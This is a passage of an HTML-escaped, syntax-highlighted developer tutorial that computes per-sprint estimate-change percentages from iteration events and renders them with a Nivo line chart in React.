&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          )?.originalEstimate &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          x: iteration.name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          y:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            originalEstimate &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;              ?&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;              :&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1.0&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; estimateChangedBy &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; originalEstimate) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And so for each iteration we find the &lt;code&gt;ITERATION_START&lt;/code&gt; event. The &lt;code&gt;originalEstimate&lt;/code&gt; value for this event is the sum of all the iteration records when the iteration was started. We then find the &lt;code&gt;RECORD_ESTIMATE_CHANGED&lt;/code&gt; event. As we’ve grouped by &lt;code&gt;ITERATION_ID&lt;/code&gt;, this will hold a sum of all of the estimate changes for records that were in the iteration at the time the estimate changed. We use &lt;code&gt;Math.abs&lt;/code&gt; because estimations can go up or down and we’re only interested in the overall magnitude of the difference.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;y&lt;/code&gt; value is the % difference between the original iteration estimate and the amount of change in the iteration records. &lt;code&gt;(1.0 - estimateChangedBy / originalEstimate) * 100&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Finally we pass that data into a Nivo line component and we can find an example in the &lt;a href=&quot;https://nivo.rocks/line/&quot;&gt;documentation&lt;/a&gt; to copy:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; style&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{ width: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;100%&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, height: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;500px&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }}&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ResponsiveLine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        data&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{data}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        margin&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{ top: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, right: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;110&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, bottom: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, left: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        xScale&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{ type: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;point&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        yScale&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          type: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;linear&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          min: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          max: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;auto&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          stacked: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          reverse: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        yFormat&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot; &gt;-.2f&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        axisTop&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        axisRight&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        axisBottom&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          tickSize: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          tickPadding: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          tickRotation: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          legend: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Sprint&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          legendOffset: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;36&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          legendPosition: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;middle&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;          format&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; name.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        axisLeft&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          tickSize: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          tickPadding: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          tickRotation: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          legend: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Points&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          legendOffset: &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          legendPosition: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;middle&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        pointSize&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        pointColor&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{ theme: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;background&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        pointBorderWidth&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        pointBorderColor&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{ from: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;serieColor&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        pointLabelYOffset&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        pointLabel&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        useMesh&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        legends&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            anchor: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;bottom-right&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            direction: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;column&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            justify: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            translateX: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            translateY: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            itemsSpacing: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            itemDirection: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;left-to-right&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            itemWidth: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            itemHeight: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            itemOpacity: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0.75&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            symbolSize: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            symbolShape: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;circle&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            symbolBorderColor: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;rgba(0, 0, 0, .5)&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            effects: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                on: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;hover&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                style: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                  itemBackground: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;rgba(0, 0, 0, .03)&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                  itemOpacity: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        ]}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        enableSlices&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;x&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        sliceTooltip&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{({ &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;          return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;              style&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                background: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;white&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                padding: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;9px 12px&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                border: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;1px solid #ccc&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            &gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;{slice.points[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].data.x}&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              {slice.points.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;point&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;/span&gt;
